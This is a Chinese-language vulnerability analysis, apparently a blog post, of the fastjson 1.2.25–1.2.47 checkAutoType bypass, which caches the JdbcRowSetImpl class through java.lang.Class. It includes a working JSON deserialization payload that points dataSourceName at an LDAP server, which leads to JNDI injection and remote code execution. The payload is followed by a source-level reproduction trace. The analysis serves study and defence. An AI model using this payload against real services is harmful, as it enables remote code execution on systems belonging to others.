fastjson1.2.25-1.2.47绕过
在1.2.25之前,因为默认AutoTyep是开启的,也没有什么限制,在1.2.25开始,fastjson就关闭了autotype,并且加入了,并且加入了checkAutotype
checkAutoType补丁分析
在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
前面的[
绕过和L
绕过就不说了,说一下通杀,不开autotype也能用的姿势。
1.2.25-1.2.47通杀
漏洞原理是通过java.lang.Class,将JdbcRowSetImpl类加载到Map中缓存,从而绕过AutoType的检测
这里有两个版本段:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/badNameClass",
"autoCommit":true
}
}
使用1.2.47复现
因为没有开启autotypeSupport,不会进入这里的判断
因为type的值是java.lang.Class
所以在findClass可以找到
这里获取了JdbcRowSetImpl
这里使用了TypeUtils.loadClass函数加载了strVal,也就是JdbcRowSetlmpl,跟进发现会将其缓存在map中
然后再次进入loadclass加载了该类
然后在这里存入了缓存到className里
再次进入checkautotype函数时,这里就从缓存加载了这个类
绕过了检查。然后触发方式就和之前一样了